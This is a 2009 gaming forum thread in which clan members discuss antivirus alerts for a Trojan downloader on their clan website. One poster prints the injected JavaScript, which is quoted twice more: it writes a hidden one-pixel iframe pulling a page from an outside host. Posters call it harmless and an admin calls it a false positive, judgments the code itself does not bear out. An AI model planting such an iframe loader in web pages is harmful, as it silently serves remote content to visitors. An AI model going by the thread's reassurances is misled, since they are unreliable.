Kaspersky detected Trojan downloader on website.

eZyKillQQ

Might be a false-positive, but when i clicked on the link to the clan page, kaspersky alerted me of a trojan downloader.

9/15/2009 5:46:10 PM http://8889.ss.la/ avast! Web Scanner Detected: Trojan-Downloader.JS.Iframe.brr

9/15/2009 5:46:10 PM http://8889.ss.la/ avast! Web Scanner Denied: Trojan-Downloader.JS.Iframe.brr

9/15/2009 5:47:01 PM http://8889.ss.la/ avast! Web Scanner Detected: Trojan-Downloader.JS.Iframe.brr

9/15/2009 5:47:01 PM http://8889.ss.la/ avast! Web Scanner Denied: Trojan-Downloader.JS.Iframe.brr

2 have been denied, and 2 have been detected. Should i be worried because i know someone else who got this as well with AVG anti-virus. :O

Simple virus scan should do the trick right?

Keyyy

kaspersky sucks for me..
i just got mcaffe and i keep my head safe..

ReezYxxBR

You should shroud in fear of my presence.

NumberNin9

OMG its a key logger sent by nasty hackers to steal your account. Or its just a glitch with the update.

SeaSp4rrow

ReeZyF wrote: »

You should shroud in fear of my presence.

no, i dont :P

FocusShift

keyenes1925 wrote: »

kaspersky sucks for me..
i just got mcaffe and i keep my head safe..

Kaspersky is better. Care to look at reviews all over the internet?

Anyway, yeah, it happened to me earlier but is alright now.

[Greycloak]

Nod32 picks up nothing, nor have I seen any open connections to that address. The code it points to doesn't even look malicious:

var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".e1du.cn",".dl108.com");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://ha2.ss.la/1/google.htm?1 width=123 height=1></iframe>");

}

The IP of the site, however, resolved to China.

ReezYxxBR

SeaSp4rrow wrote: »

no, i dont :P

You are just to dumb to know my power.

I be melting faces all dai dawgg.

Rammajamma

Greycloak wrote: »

Nod32 picks up nothing, nor have I seen any open connections to that address. The code it points to doesn't even look malicious:

var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".e1du.cn",".dl108.com");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://ha2.ss.la/1/google.htm?1 width=123 height=1></iframe>");

}

The IP of the site, however, resolved to China.

do i smell phishing?

ReezYxxBR

RaMmEr1 wrote: »

do i smell phishing?

Close your legs then foolio.

[Greycloak]

I suppose until the source of this problem is found you could edit your host file to redirect the address to 127.0.0.1

That would prevent that site from ever loading.

eZyKillQQ

Greycloak wrote: »

Nod32 picks up nothing, nor have I seen any open connections to that address. The code it points to doesn't even look malicious:

var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".e1du.cn",".dl108.com");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://ha2.ss.la/1/google.htm?1 width=123 height=1></iframe>");

}

The IP of the site, however, resolved to China.

Omg the chinese are coming for me.

So pretty much, this is harmless?

However, will a scan be enough to double check or is there some more things i can do? bah.


EDIT: Kaspersky picked up another one of these Trojan downloaders when i refreshed forums.

I think making fun of 9esu and T3 ticked China off. O_O

EDIT 2: To Greycloak, when i try to visit http://8889.ss.la/, kaspersky blocks the site because it says it is infected. OMG OMG OMG.

[Greycloak]

It definitely looks like it's spyware of some site, not necessarily a trojan. If you want to block contact to the site, go to C:\windows\system32\drivers\etc and open the filed called 'hosts'. You will have to tell Windows to open it with notepad. Once it opens, on a new line put:

127.0.0.1           8889.ss.la

What that will do is anytime your browser makes a request for that page, it redirects it to your own computer. This effectively keeps that site from ever loading. On vista systems you may need to open notepad with admin privileges to edit the hosts file.

Again, I was able to browse directly to the site without Nod32 raising any flags. I also haven't noticed any unwanted net traffic.

eZyKillQQ

Hm, i just finished scanning with Kaspersky and it didnt detect anything.

Just to make sure, i recently changed my password.

Prior to getting the detection, i remember something was odd about the site. There was no clan and forum link, but instead they were grouped together under (if i remember correctly) "Media".
So they were like sub-links such as the Downloads where u get Game download, screenshots, etc.

When i refreshed, the website went back to normal. Any thoughts?

Saidin

Thanks for the info on this guys.

It is a false positive, at least on anything coming from our end. I can't speak to a potential spyware/malware/infection on any persons particular computer.

Best bet is to keep track, scan the system and and check back.

I'll check into our site to make sure that whatever may be causing this gets taken care of.

edit: also gonna move this to the tech forums.

[LobsterMts]

Theres a website,
http://ha2.ss.la/1/google.htm

Its soo weird, and theres a thing

REMEMBER THE BARS IN CLAN NAME?

On this website u see a bar.
Weiiird!

[MOD]Zzxq

ReeZyF wrote: »

Close your legs then foolio.

hahahahaha omg.........